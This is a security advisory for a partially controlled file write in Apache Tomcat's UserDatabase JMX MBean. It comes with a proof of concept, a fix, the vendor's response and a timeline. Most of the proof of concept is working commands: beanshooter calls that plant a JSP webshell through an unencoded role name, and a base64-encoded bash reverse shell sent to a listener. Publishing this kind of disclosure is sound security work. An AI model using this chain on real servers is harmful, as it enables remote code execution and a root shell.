usd-2022-0035 | Partially Controlled File Write in Apache Tomcat via JMX
Advisory ID: usd-2022-0035
Product: Apache Tomcat
Affected Version: Tested on Apache Tomcat 9.0.58, probably others
Vulnerability Type: Improper Encoding or Escaping of Output (CWE-116)
Security Risk: Medium
Vendor URL: https://tomcat.apache.org/
Vendor acknowledged vulnerability: No
Vendor Status: Not fixed
The Tomcat documentation states that JMX access should be treated as local or admin access. Because of this, this issue does not meet the Apache Foundations bar for servicing in a security update. The issues enabling the abuse of the UserDatabase MBean to execute code on the server will be treated as a bug.
Affected Component(s)
The vulnerability affects the UserDatabase JMX component of Apache Tomcat. This MBean is capable of managing users and roles with access to the Apache Tomcat server.
Description
Apache Tomcat is a popular open source webserver for running Java based web applications and can be monitored via JMX. JMX (Java Management Extensions), on the other hand, is a popular framework that allows monitoring and maintaining Java based applications over the network. Unauthorized access to JMX is a well known attack vector that grants the attacker plenty of possibilities to compromise the underlying application server. That being said, the overall exploitability strongly depends on the available MBeans, the configured JMX permissions and the presence of a Security Manager. Depending on the above mentioned settings, the consequences of an attacker with JMX access can range from critical Remote Code Execution (RCE) issues to medium severity information leakage.
Finding new ways of abusing available MBeans for malicious purposes is therefore an interesting target for attackers. We identified that the UserDatabase MBean, which is available per default on Apache Tomcat servers with JMX enabled, can be abused to achieve a partially controlled file write. This file write is sufficient to create a JSP webshell within the webroot of the server, which leads to remote code execution. The capability of writing webshells via JMX is already known (e.g. by changing the log location of the server and creating malicious log entries). However, we consider this issue a security vulnerability because of two reasons:
- The file write opportunity created by this issue is way more reliable when using log files.
- The issue is caused by an encoding bug within the MemoryUserDatabase implementation of Apache Tomcat and can be resolved by applying proper encoding within this component.
Proof of Concept
For the following proof of concept, we use an Apache Tomcat server located at 172.17.0.2 with JMX enabled on port 1090. Furthermore, we use the beanshooter tool to demonstrating a possible attack.
First of all, we can enumerate available methods and attributes from the UserDatabase MBean using the following command:
[user@host ~]$ beanshooter info 172.17.0.2 1090 Users:type=UserDatabase,database=UserDatabase[+] MBean Class: org.apache.catalina.mbeans.MemoryUserDatabaseMBean
[+] ObjectName: Users:type=UserDatabase,database=UserDatabase
[+]
[+] Attributes:
[+] modelerType (type: java.lang.String , writable: false)
[+] readonly (type: boolean , writable: false)
[+] roles (type: [Ljava.lang.String; , writable: false)
[+] groups (type: [Ljava.lang.String; , writable: false)
[+] users (type: [Ljava.lang.String; , writable: false)
[+] pathname (type: java.lang.String , writable: true)
[+] writable (type: null , writable: false)
[+]
[+] Operations:
[+] java.lang.String findGroup(java.lang.String groupname)
[+] java.lang.String createUser(java.lang.String username, java.lang.String password, java.lang.String fullName)
[+] void removeGroup(java.lang.String groupname)
[+] void removeUser(java.lang.String username)
[+] void save()
[+] java.lang.String findRole(java.lang.String rolename)
[+] void removeRole(java.lang.String rolename)
[+] java.lang.String createGroup(java.lang.String groupname, java.lang.String description)
[+] java.lang.String findUser(java.lang.String username)
[+] java.lang.String createRole(java.lang.String rolename, java.lang.String description)
Apache Tomcat users are usually defined within the file /usr/local/tomcat/conf/tomcat-users.xml, but as one can see, the pathname property of the UserDatabase is writable, and it is possible to change the location. Using the save method, it would then be possible to write the database to the specified location, but there is one problem, and this is the read-only property. This one prevents the database from being written:
[user@host ~]$ beanshooter attr 172.17.0.2 1090 Users:type=UserDatabase,database=UserDatabase pathname /usr/local/tomcat/webapps/ROOT/database.xml
[user@host ~]$ beanshooter invoke 172.17.0.2 1090 Users:type=UserDatabase,database=UserDatabase --signature 'save()'
[+] Call was successful....# Apache Tomcat logs:org.apache.catalina.users.MemoryUserDatabase.save User database has been configured to be read only. Changes cannot be saved
However, as it turns out, despite the property is marked as being non writable, it is actually possible to modify its value. With this modification, it is possible to write the current user database into the webroot:
[user@host ~]$ beanshooter attr 172.17.0.2 1090 Users:type=UserDatabase,database=UserDatabase readonly
true
[user@host ~]$ beanshooter attr 172.17.0.2 1090 Users:type=UserDatabase,database=UserDatabase readonly false --type boolean[user@host ~]$ beanshooter attr 172.17.0.2 1090 Users:type=UserDatabase,database=UserDatabase readonly
false
[user@host ~]$ beanshooter attr 172.17.0.2 1090 Users:type=UserDatabase,database=UserDatabase pathname /usr/local/tomcat/webapps/ROOT/database.xml[user@host ~]$ beanshooter invoke 172.17.0.2 1090 Users:type=UserDatabase,database=UserDatabase --signature 'save()'
[+] Call was successful.
[user@host ~]$ curl 172.17.0.2:8080/database.xml
<?xml version='1.0' encoding='utf-8'?>
<tomcat-users xmlns="[http://tomcat.apache.org/xml"]()
xmlns:xsi="[http://www.w3.org/2001/XMLSchema-instance"]()
xsi:schemaLocation="[http://tomcat.apache.org/xml]() tomcat-users.xsd"
version="1.0">
</tomcat-users>
From here, an attacker needs to change the file extension to .jsp and place a webshell payload within the user database. That being said, this task is not that easy, as the database is in XML format and special characters get encoded. For example, creating a new user that contains the payload within the username is not sufficient:
[user@host ~]$ beanshooter invoke 172.17.0.2 1090 Users:type=UserDatabase,database=UserDatabase --signature 'String createUser(String a, String b, String c)' '<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>' foo barUsers:type=User,username="<%Runtime.getRuntime().exec(request.getParameter(\"cmd\"));%>",database=UserDatabase
[user@host ~]$ beanshooter attr 172.17.0.2 1090 Users:type=UserDatabase,database=UserDatabase pathname /usr/local/tomcat/webapps/ROOT/database.xml
[user@host ~]$ beanshooter invoke 172.17.0.2 1090 Users:type=UserDatabase,database=UserDatabase --signature 'save()'
[+] Call was successful.
[user@host ~]$ curl 172.17.0.2:8080/database.xml
<?xml version='1.0' encoding='utf-8'?>
<tomcat-users xmlns="[http://tomcat.apache.org/xml"]()
xmlns:xsi="[http://www.w3.org/2001/XMLSchema-instance"]()
xsi:schemaLocation="[http://tomcat.apache.org/xml]() tomcat-users.xsd"
version="1.0">
<user username="<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>" password="test" fullName="test" groups="" roles=""/>
</tomcat-users>
As demonstrated above, the payload gets XML encoded and would not execute. However, looking at the source code of MemoryUserDatabase.java reveals
that the XML encoding is not applied to all attributes:
// Print the file prolog
writer.println("<?xml version='1.0' encoding='utf-8'?>");
writer.println("<tomcat-users xmlns=\"[http://tomcat.apache.org/xml\"");]()
writer.print(" ");
writer.println("xmlns:xsi=\"[http://www.w3.org/2001/XMLSchema-instance\"");]()
writer.print(" ");
writer.println("xsi:schemaLocation=\"[http://tomcat.apache.org/xml]() tomcat-users.xsd\"");
writer.println(" version=\"1.0\">");// Print entries for each defined role, group, and user
Iterator<?> values = null;
values = getRoles();
while (values.hasNext()) {
writer.print(" ");
writer.println(values.next());
}
values = getGroups();
while (values.hasNext()) {
writer.print(" ");
writer.println(values.next());
}
values = getUsers();
while (values.hasNext()) {
writer.print(" ");
writer.println(((MemoryUser) values.next()).toXml());
}
Only for user objects the toXml function is invoked, whereas roles and groups seem to be written as plaintext. This encoding issue
can be exploited by an attacker to inject arbitrary content into the user database file. The following example shows how an attacker can
successfully deploy a webshell:
[user@host ~]$ beanshooter attr 172.17.0.2 1090 Users:type=UserDatabase,database=UserDatabase pathname /usr/local/tomcat/webapps/ROOT/shell.jsp[user@host ~]$ beanshooter invoke 172.17.0.2 1090 Users:type=UserDatabase,database=UserDatabase --signature 'createRole(String groupname, String description)' '"><%Runtime.getRuntime().exec(request.getParameter("cmd"));%><a"' fooUsers:type=Role,rolename="\"><%Runtime.getRuntime().exec(request.getParameter(\"cmd\"));%><a\"",database=UserDatabase
[user@host ~]$ beanshooter invoke 172.17.0.2 1090 Users:type=UserDatabase,database=UserDatabase --signature 'save()'
[user@host ~]$ curl '172.17.0.2:8080/shell.jsp?cmd=bash+-c+echo%24%7BIFS%7DYmFzaCAtaSAmPiAvZGV2L3RjcC8xNzIuMTcuMC4xLzQ0NDQgMDwmMQ%3D%3D%7Cbase64%24%7BIFS%7D-d%7Cbash'
[user@host ~]$ nc -vlp 4444
Ncat: Version 7.92 ( [https://nmap.org/ncat]() )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 172.17.0.2.
Ncat: Connection from 172.17.0.2:40392.
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
root@436849b8da96:/usr/local/tomcat#
Fix
The UserDatabase implementation in MemoryUserDatabase.java should apply XML encoding to all printed objects and not
only to the user object. Furthermore, the readonly attribute of the UserDatabase MBean should be adjusted. It should
either be non writable (as suggested by the documentation) or the documentation should be adjusted to reflect that the
attribute is actually writable.
References
- https://tomcat.apache.org/
- https://www.oracle.com/technical-resources/articles/javase/jmx.html
- https://github.com/qtc-de/beanshooter
Timeline
- 2022-08-02: First contact request via securityy@tomcat.apache.org.
- 2022-08-04: Vendor states that "JMX access should be treated as equivalent to local root/admin access and restricted accordingly". The mentioned bugs however will be fixed.
- 2022-08-07: Bugs fixed by Vendor.
- 2022-11-24: This advisory is published
Credits
This security vulnerability was identified by Tobias Neitzel of usd AG.